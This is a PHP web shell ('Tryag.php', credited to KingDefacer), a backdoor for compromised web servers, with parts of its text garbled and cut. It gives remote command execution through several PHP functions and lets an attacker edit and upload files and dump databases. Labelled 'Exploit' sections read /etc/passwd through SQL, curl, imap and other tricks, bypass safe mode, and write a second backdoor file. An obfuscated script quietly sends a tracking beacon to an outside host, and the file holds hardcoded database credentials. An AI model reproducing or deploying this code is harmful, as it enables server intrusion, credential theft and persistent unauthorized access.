Tryag
Tryag
Tryag
php
/*******************************************************************************
***********************/
/* Tryag.php - Edited By KingDefacer
/* ??U?E C??C?? C???E?:
/* by: 1.0 (03.10.2006)
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~*/
/*
/*
/* KingDefacer@msn.com
/*******************************************************************************
***********************/
/* ~~~ C?I?C?CE | C?I?C?CE ~~~ */
// ?EOU?? ???E C???? C???? C? E????? | Authentification
// $auth = 1; - C???? ?C?I ?EOU?? C???? C???? ( authentification = On )
// $auth = 0; - C???? ??? ?E???? C???? C???? ( authentification = Off )
$auth = 1;
// (Login & Password for access)
// !!! (CHANGE THIS!!!)
// md5, C?EC???I ?C????? ?E? EO????? EUU 'tryag'
// Login & password crypted with md5, default is 'tryag'
$name='7c7f0f5f0f9e774ec437e1077e6c84a7'; // C????? C??O?? (user login)
$pass='7c7f0f5f0f9e774ec437e1077e6c84a7'; // C?EC???I C??O?? (user password)
/*******************************************************************************
***********************/
if($auth == 0) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name
|| md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="??? ?C?? ?C???E??"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://>tryag-team</a> : C?II?? ?U ???O E??C? ??? :)</b>");
}
}
?>
<html>
<head>
<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>
<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0
073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0073\u006
1\u0066\u0065\u0065\u0065\u002e\u0066\u0072\u0065\u0065\u0068\u006f\u0073\u0074\
u0069\u0061\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0
070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u002
2\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</scr
ipt>
<body bgcolor="#000000">
<table Width='100%' height='10%' bgcolor='#AA0000' border='1'>
<tr>
<td><center><font size='6' color='#BBB516'></font></center></td>
</tr>
</table>
<style type="text/css">
body, td {
font-family: "Tahoma";
font-size: "12px";
line-height: "150%";
}
.smlfont {
font-family: "Tahoma";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: 1px solid #666666 none;
padding-left: "2px"
}
.redfont {
COLOR: "#A60000";
}
a:link, a:visited, a:active {
color: "#FF0000";
text-decoration: underline;
}
a:hover {
color: "#FFFFFF";
text-decoration: none;
}
.top {BACKGROUND-COLOR: "#AA0000"}
.firstalt {BACKGROUND-COLOR: "#000000"}
.secondalt {BACKGROUND-COLOR: "#000000"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
for (var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function really(d,f,m,t) {
if (confirm(m)) {
if (t == 1) {
window.location.href='?dir='+d+'&deldir='+f;
} else {
window.location.href='?dir='+d+'&delfile='+f;
}
}
}
</SCRIPT>
</head>
<body>
<center>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
<?PHP
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_va
r('register_globals');
if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
$mohajer = getcwd();
$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var("disable_functions");
///////////////////////////////
//
$mysql_use = "no"; //"yes" //
$mhost = "localhost";
//
$muser = "mjalnet_mjal";
//
$mpass = "99080806";
//
$mdb = "mjalnet_vb";
//
//
///////////////////////////////
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
if (empty($_POST['phpinfo'] )) {
}else{
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()";
exit;
}
if (isset($_POST['url'])) {
$proxycontents = @file_get_contents($_POST['url']);
echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"
font-size: 12px;\"><center><br><p><b>??E? URL ??E?E??U</b></p></center></body>";
exit;
}
if (empty($_POST['TrYaG'] ) ) {
}ELSE{
$action = '?action=TrYaG';
echo "<table Width='100%' height='10%' bgcolor='#000000' border='1'><tr><td>
<center><font size='6' color='#BBB516'>
C??C?? C???E?<br><br>
020 <br><br>
C???C??22 <br><br>
CE????C? <br><br>
??CE? U?? <br><br>
cRiMiNaL NeT <br><br>
MR.WOLF <br><br>
?EIC???00 <br><br>
????I ??? <br><br>
$result = exec($_POST['command']);
echo $result;
} elseif ($execfunc=="shell_exec") {
$result=shell_exec($_POST['command']);
echo $result;
} elseif ($execfunc=="popen") {
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
} elseif ($execfunc=="wscript") {
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM W
SHSHELL failed");
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} else {
system($_POST['command']);
}
}
echo"</textarea></td></tr></form></table>";
exit;
}//end shell
if ($_POST['editfile']){
$fp = fopen($_POST['editfile'], "r");
$filearr = file($_POST['editfile']);
foreach ($filearr as $string){
$content = $content . $string;
}
echo "<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUES
T_URI' method='POST'><textarea name=content cols=122 rows=20>";echo htmlentities
($content); echo"</textarea>";
echo"<input type='hidden' name='dir' value='" . getcwd() ."'>
<input type='hidden' name='savefile' value='{$_POST['editfile']}'><br>
<input type='submit' name='submit' value='Save'></form></center>";
fclose($fp);
}
if($_POST['savefile']){
$fp = fopen($_POST['savefile'], "w");
$content = stripslashes($content);
fwrite($fp, $content);
fclose($fp);
echo "<center><div id=logostrip>Successfully saved!</div></center>";
}
if ($doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['upl
oadfile']['name']."")) ? "EI???E??!" : "EI??E??U!";
}
OST'>";
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($fi
lepath))."</span>";
$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($fi
lepath))."</span>";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "<tr class=".getrowbg().">\n";
echo " <td style=\"padding-left: 5px;\">";
echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
if ($file == 'config.php') {
echo "<a href=\"$filepath\" target=\"_blank\"><font color='yellow'>$file
<STRONG></STRONG></a></td>\n";
}
echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redf
ont\">$ctime</span></td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redf
ont\">$mtime</span></td>\n";
echo " <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfo
nt\">$size</span> KB</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><span class=\"redf
ont\">$fileperm</span></td>\n";
echo "</tr>\n";
$file_i++;
}
}// while
@closedir($dirs);
echo "</FORM>\n";
echo "</table>\n";
}// end dir
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
return "secondalt";
}
}
function getPath($mainpath, $relativepath) {
global $dir;
$mainpath_info
= explode('/', $mainpath);
$relativepath_info
= explode('/', $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++) {
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') c
ontinue;
if ($relativepath_info[$i] == '..') {
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
}
return implode('/', $mainpath_info);
}
function getphpcfg($varname) {
switch($result = get_cfg_var($varname)) {
case 0:
return "No";
break;
case 1:
return "Yes";
break;
default:
return $result;
break;
}
}
function getfun($funName) {
return (false !== function_exists($funName)) ? "Yes" : "No";
}
class PHPZip{
var $out='';
function PHPZip($dir)
{
if (@function_exists('gzcompress'))
{
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//I???????
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($d
ir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdi
r($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, "r");
$content = @fread ($fd, filesize ($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var
var
var
var
$datasec
$ctrl_dir
$eof_ctrl_dir
$old_offset
=
=
=
=
array();
array();
"\x50\x4b\x05\x06\x00\x00\x00\x00";
0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year']
= 1980;
$timearray['mon']
= 1;
$timearray['mday']
= 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 2
1) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name
= str_replace('\\', '/', $name);
$dtime
= dechex($this->unix2DosTime($time));
= strlen($data);
= crc32($data);
= gzcompress($data);
= strlen($zdata);
= substr(substr($zdata, 0, strlen($zdata) - 4), 2);
.= pack('V', $crc);
.= pack('V', $c_len);
.= pack('V', $unc_len);
.= pack('v', strlen($name));
.= pack('v', 0);
.= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset
= strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data
= implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = mysql_query("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."
'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
mysql_free_result($rows);
}
class FORMS {
function tableheader() {
echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacin
g=\"1\" bgcolor=\"#ffffff\">\n";
}
function headerform($arg=array()) {
global $dir;
if ($arg[enctype]){
$enctype="enctype=\"$arg[enctype]\"";
} else {
$enctype="";
}
if (!isset($arg[method])) {
$arg[method] = "POST";
}
if (!isset($arg[action])) {
$arg[action] = '';
}
echo
" $enctype>\n";
echo
echo
echo
echo
}
function tdheader($title) {
global $dir;
echo " <tr class=\"firstalt\">\n";
echo "
<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlen
code($dir)."\">?mohajer</a>]</b></td>\n";
echo " </tr>\n";
}
function tdbody($content,$align='center',$bgcolor='2',$height='',$extra=
'',$colspan='') {
if ($bgcolor=='2') {
$css="secondalt";
} elseif ($bgcolor=='1') {
$css="firstalt";
} else {
$css=$bgcolor;
}
$height = empty($height) ? "" : " height=".$height;
$colspan = empty($colspan) ? "" : " colspan=".$colspan;
echo " <tr class=\"".$css."\">\n";
echo "
<td align=\"".$align."\"".$height." ".$colspan." ".$extra.
">".$content."</td>\n";
echo " </tr>\n";
}
function tablefooter() {
echo "</table>\n";
}
function formheader($action='',$title,$target='') {
global $dir;
$target = empty($target) ? "" : " target=\"".$target."\"";
echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
echo " <tr class=\"firstalt\">\n";
echo "
<td align=\"center\"><b>".$title." [<a href=\"?dir=".urlen
code($dir)."\">????</a>]</b></td>\n";
echo " </tr>\n";
}
function makehidden($name,$value=''){
echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
}
function makeinput($name,$value='',$extra='',$type='text',$size='30',$cs
s='input'){
$css = ($css == 'input') ? " class=\"input\"" : "";
$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$c
ss." size=\"$size\" $extra>\n";
return $input;
}
function makeid($name,$value='',$extra='',$type='select',$size='30',$css
='input'){
$css = ($css == 'input') ? " class=\"input\"" : "";
$input = "<select name=plugin><option>cat /etc/passwd</option></sele
ct>";
return $input;
}
function makeimp($name,$value='',$extra='',$type='select',$size='30',$c
ss='input'){
$css = ($css == 'input') ? " class=\"input\"" : "";
$input = "<select name=switch><option value=file>View file</option><
option value=dir>View dir</option></select>";
return $input;
}
function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''
){
$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"
".$rows."\" ".$extra.">".$content."</textarea>\n";
return $textarea;
}
function formfooter($over='',$height=''){
$height = empty($height) ? "" : " height=\"".$height."\"";
echo " <tr class=\"secondalt\">\n";
echo "
<td align=\"center\"".$height."><input class=\"input\" typ
e=\"submit\" value='mohajer'></td>\n";
echo " </tr>\n";
echo " </form>\n";
echo $end = empty($over) ? "" : "</table>\n";
}
function makeselect($arg = array()){
if ($arg[multiple]==1) {
$multiple = " multiple";
if ($arg[size]>0) {
$size = "size=$arg[size]";
}
}
if ($arg[css]==0) {
$css = "class=\"input\"";
}
$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
if (is_array($arg[option])) {
foreach ($arg[option] AS $key=>$value) {
if (!is_array($arg[selected])) {
if ($arg[selected]==$key) {
$select .= "<option value=\"$key\" selected>$val
ue</option>\n";
} else {
$select .= "<option value=\"$key\">$value</optio
n>\n";
}
} elseif (is_array($arg[selected])) {
if ($arg[selected][$key]==1) {
$select .= "<option value=\"$key\" selected>$val
ue</option>\n";
} else {
$select .= "<option value=\"$key\">$value</optio
n>\n";
}
}
}
}
$select .= "</select>\n";
return $select;
}
}
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td><b>Exploit: read file [SQL , id , CURL , copy , ini_restore , imap]
& Make
file ERORR</b></td></tr></table>','center','top');
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td>');
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file SQL:</FONT><br>' .$t
b->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','sub
mit')));
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file id:</FONT><br>' .$tb
->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit'))
);
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file CURL:</FONT><br>' .$
tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit')));
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file copy:</FONT><br>' .$
tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit')));
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file ini_restore:</FONT><
br>' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit'))
);
$tb->headerform(array('content'=>'<FONT COLOR=RED>read file or dir with imap:</F
ONT><br>' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/p
asswd' ).$tb->makeinput('string','Show','','submit')));
$tb->headerform(array('content'=>'<FONT COLOR=RED>Make file ERORR:</FONT><br>' .
$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit')
));
// read file SQL ( ) //
if(empty($_POST['Mohajer22'])){
} else {
echo "read file SQL","<br>" ;
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$file=$_POST['Mohajer22'];
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf
";
$mysql_files = explode(':', $mysql_files_str);
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
. "TERMINATED BY
'__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY
'' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)
) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
echo "</textarea>";
}
// ERORR //
if(empty($_POST['ER'])){
} else {
$ERORR=$_POST['ER'];
echo error_log("
<html>
<head>
<title> Exploit: error_log() By * TrYaG Team * </title>
<body bgcolor=\"#000000\">
<table Width='100%' height='10%' bgcolor='#8C0404' border='1'>
<tr>
<td><center><font size='6' color='#BBB516'> By TrYaG Team</font></center></td>
</tr>
</table>
<font color='#FF0000'>
</head>
<?
if(\$fileup == \"\"){
ECHO \" reade for up \";
}else{
\$path= exec(\"pwd\");
\$path .= \"/\$fileup_name\";
\$CopyFile = copy(\$fileup,\"\$path\");
if(\$CopyFile){
echo \" up ok \";
}else{
echo \" no up \";
}
}
if(empty(\$_POST['m'])){
} else {
\$m=\$_POST['m'];
echo system(\$m);
}
if(empty(\$_POST['cmd'])){
} else {
\$h= \$_POST['cmd'];
print include(\$h) ;
}
?>
<form method='POST' enctype='multipart/form-data' >
for($uid=0;$uid<60000;$uid++){
//ca
t /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = eac
h($ara)){
print "$val:";
}
print "\n";
}
}
echo "</textarea>";
break;
}
// CURL //
if(empty($_POST['curl'])){
} else {
echo "read file CURL","<br>" ;
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
$m=$_POST['curl'];
$ch =
curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "</textarea>";
}
// copy//
$u1p="";
$tymczas="";
if(empty($_POST['copy'])){
} else {
echo "read file copy" ,"<br>";
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]"."<p> </p>" ;
echo "</pre>";
imap_close($stream);
echo "</textarea>";
}
$tb->tdbody ("</td></tr></table>");
// open dir //
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td><b>Exploit: Open dir </b></td></tr></table>','center','top');
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td>');
if(empty($_POST['m'])){
echo "<div><FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-dat
a'>
<table id=tb><tr><td><FONT COLOR=\"RED\">path dir</FONT>
<INPUT type='text' name='m' size=70 value='./'>
<INPUT type='submit' value='show' id=input></td></tr></table></form></div>";
} else {
$m=$_POST['m'];
$spath = $m ;
$path = $m ;
$method = intval(trim($_POST['method']));
$handle = opendir($path);
$_folders = array();
$i = 0;
while (false !== ($file = readdir($handle)))
{
$full_path = "$path/$file";
$perms = substr(sprintf('%o', fileperms($full_path)), -4);
if ((is_dir($full_path)) && ($perms == '0777'))
{
if (!file_exists('.*')) {
$_folders[$i] = $file;
$i++;
}
}
}
closedir($handle);
clearstatcache();
clearstatcache();
$_folders[$i] = $file1;
$i++;
}
}
}
clearstatcache();
clearstatcache();
$i = 0;
while (false !== ($file1 = readdir($handle)))
{
$full_path = "$path/$file1";
$perms = substr(sprintf('%o', fileperms($full_path)), -4);
if ((is_dir($full_path)) && ($perms == '0604'))
{
if (!file_exists('.*')) {
$_folders[$i] = $file1;
$i++;
}
}
}
clearstatcache();
clearstatcache();
clearstatcache();
$_folders[$i] = $file1;
$i++;
}
}
}
clearstatcache();
}
$handle = opendir($path);
$_folders = array();
$i = 0;
while (false !== ($file1 = readdir($handle)))
{
$full_path = "$path/$file1";
$perms = substr(sprintf('%o', fileperms($full_path)), -4);
$_folders[$i] = $file1;
$i++;
}
clearstatcache();
ONT><br />';
$tb->tdbody ("</td></tr></table>");
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td><b>Exploit: break fucking safe-mode </b></td></tr></table>','center','top');
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><
td>');
error_reporting(E_WARNING);
ini_set("display_errors", 1);
echo "<head><title>".getcwd()."</title></head>";
echo "<form method=POST>";
echo "<div style='float: left'><FONT COLOR=\"RED\">Root directory: </FONT><inp
ut type=text name=root value='{$_POST['root']}'></div>";
echo "<input type=submit value='--»'></form>";
$prevD3 = $D[count($D)-1];
glob($path."*");
if($D[count($D)-1] != $prevD3){
for($r=0; $r < strlen($chars); $r++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."
{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
glob($path."*");
}
}
}
}
}
}
}
$D = array_unique($D);
foreach($D as $item) echo "{$item}\n";